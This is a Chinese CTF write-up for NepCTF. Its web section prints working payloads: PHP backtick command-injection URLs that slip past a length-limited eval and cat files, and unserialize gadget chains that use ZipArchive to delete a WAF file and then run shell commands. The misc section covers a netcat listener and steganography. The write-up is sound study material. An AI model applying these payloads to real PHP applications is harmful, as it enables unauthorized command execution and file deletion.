前言
对于本萌新来说,这次的nep比赛是非常好的一次历练机会(虽然web一道都没有写出来QAQ,但是之后复现后学到了很多新的姿势,相对来说还是有点提升的,嘿嘿。
Web
little_trick
打开题目后发现一串代码
1 2 3 4 5 6 7 8 9 10 11
| <?php error_reporting(0); highlight_file(__FILE__); $nep = $_GET['nep']; $len = $_GET['len']; if(intval($len)<8 && strlen($nep)<13){ eval(substr($nep,0,$len)); }else{ die('too long!'); } ?>
|
算是第一次遇到trick题吧,找了找度娘知道可以利用php的反引号执行系统命令 的特性
第一种解法
tips:这个解法需要开两次靶机,第一次查看文件目录,第二次cat
可以得到
然后再开一次靶机
1 2 3
| url/?nep=`>cat`;&len=7 url/?nep=`*>1`;&len=7 在这里*>1相当于cat index.php nepctf.php> 1
|
最后得到flag
NepCTF{n3pn3p_l1ttle_tr1ck_c0me_bAck}
第二种解法
1 2
| url/?nep=`$len`;&len=7 || ls>1 url/?nep=`$len`;&len=7 || cat nepctf.php>1
|
由于intval()函数的特性,会在遇到第一个非数字字符时停止截取,而nep参数中运用反引号``调用len参数
由于len=7 || cat nepctf.php>1在linux中运行可知7不是一个命令,所以会执行||(或)之后的另一个命令
即
梦里花开牡丹亭
进入题目后看见一串特长的代码,先来简单审计一下
首先是Game类,里面有wakeup
和destruct
方法,wakeup
里还有一个21232f297a57a5a743894a0e4a801fc3
在线解码后是admin
简单分析了一下,咱可以知道应该是要调用Open类里的shell($content);
来进行任意命令的执行,但是由于waf.txt
的存在,咱只能调用file_get_contents()
先看看shell.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
class Game{ public $username; public $password; public $choice; public $register; public $file; public $filename; public $content;
public function __construct() { $this->username = 'admin'; $this->password = 'admin'; $this->filename = 'shell'; $this->content = 8; $this->register = 'admin'; $this->file = new Open(); } } class Open{
} class login{
} $a = new Game(); echo base64_encode(serialize($a));
|
发现挺多命令也被ban了
但这先放一边,先看看怎么删除掉waf.txt
文件,不然连命令都输不进去_(:з」∠)_
之前的代码审计咱可以知道,login类中的checking方法里有个$this->file->open($this->filename,$this->content);
这行代码
找找带有open()方法,而且还能删除文件的php原生类
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $classes = get_declared_classes(); foreach ($classes as $class){ $methods = get_class_methods($class); foreach ($methods as $method){ if (in_array($method, array( 'open' ))){ echo $class."::".$method."<br>"; } } }
|
简单测试一下,发现ZipArchive()刚好可以把waf.txt
删除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
class Game{ public $username; public $password; public $choice; public $register; public $file; public $filename; public $content;
public function __construct() { $this->username = 'admin'; $this->password = 'admin'; $this->filename = 'waf.txt'; $this->content = 8; $this->register = 'admin'; $this->file = new ZipArchive(); } } class Open{
} class login{
} $a = new Game(); echo base64_encode(serialize($a));
|
然后就可以随意命令执行辣
tips:很多查看命令被ban了,但是还可以使用php /flag
绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
class Game{ public $username; public $password; public $choice; public $register; public $file; public $filename; public $content;
public function __construct() { $this->username = 'admin'; $this->password = 'admin'; $this->filename = 'shell'; $this->content = 'ls /'; $this->register = 'admin'; $this->file = new Open(); } } class Open{
} class login{
} $a = new Game(); echo base64_encode(serialize($a));
|
Misc
签到
打开附件看到一串16进制字符串,放到cyberchef里转一转
把剩下的复制到sublime text
看起来有点扁,放到画图软件里拉宽一下
可以清晰的看到flag
Nep{Y0u_ar3_50_cl3ver!}
我是间谍2nd
下载的附件直接打开显示出了一句话
**connecting to 223.223.223.223:6001 **
那咱就修改一下ip为223.223.223.223
然后用netcat开监听,并运行文件
nc -lvvp 6001
发现有回响
连接可得到flag
Nep{XVlBzgbaiCMRAjWwhTHctcuAxhxKQFDaFpLSjFbcXoEF}
出题人日记
打开附件后解压压缩包内容,发现是个.xlsx文件,拿010打开后查看文件头可以知道其实是一个.zip压缩文件
更改文件扩展名后解压缩
tips:这里打开压缩包的时候是有一个hint的,但是不能拿默认的解压缩软件打开,不然看不到备注
发现这个hint还被编码过了,拿去cyberchef解码一下
然后去google直接搜索Steganography.js
https://www.peter-eigenschink.at/projects/steganographyjs/showcase/
然后直接在王章内解密就可以得到flag了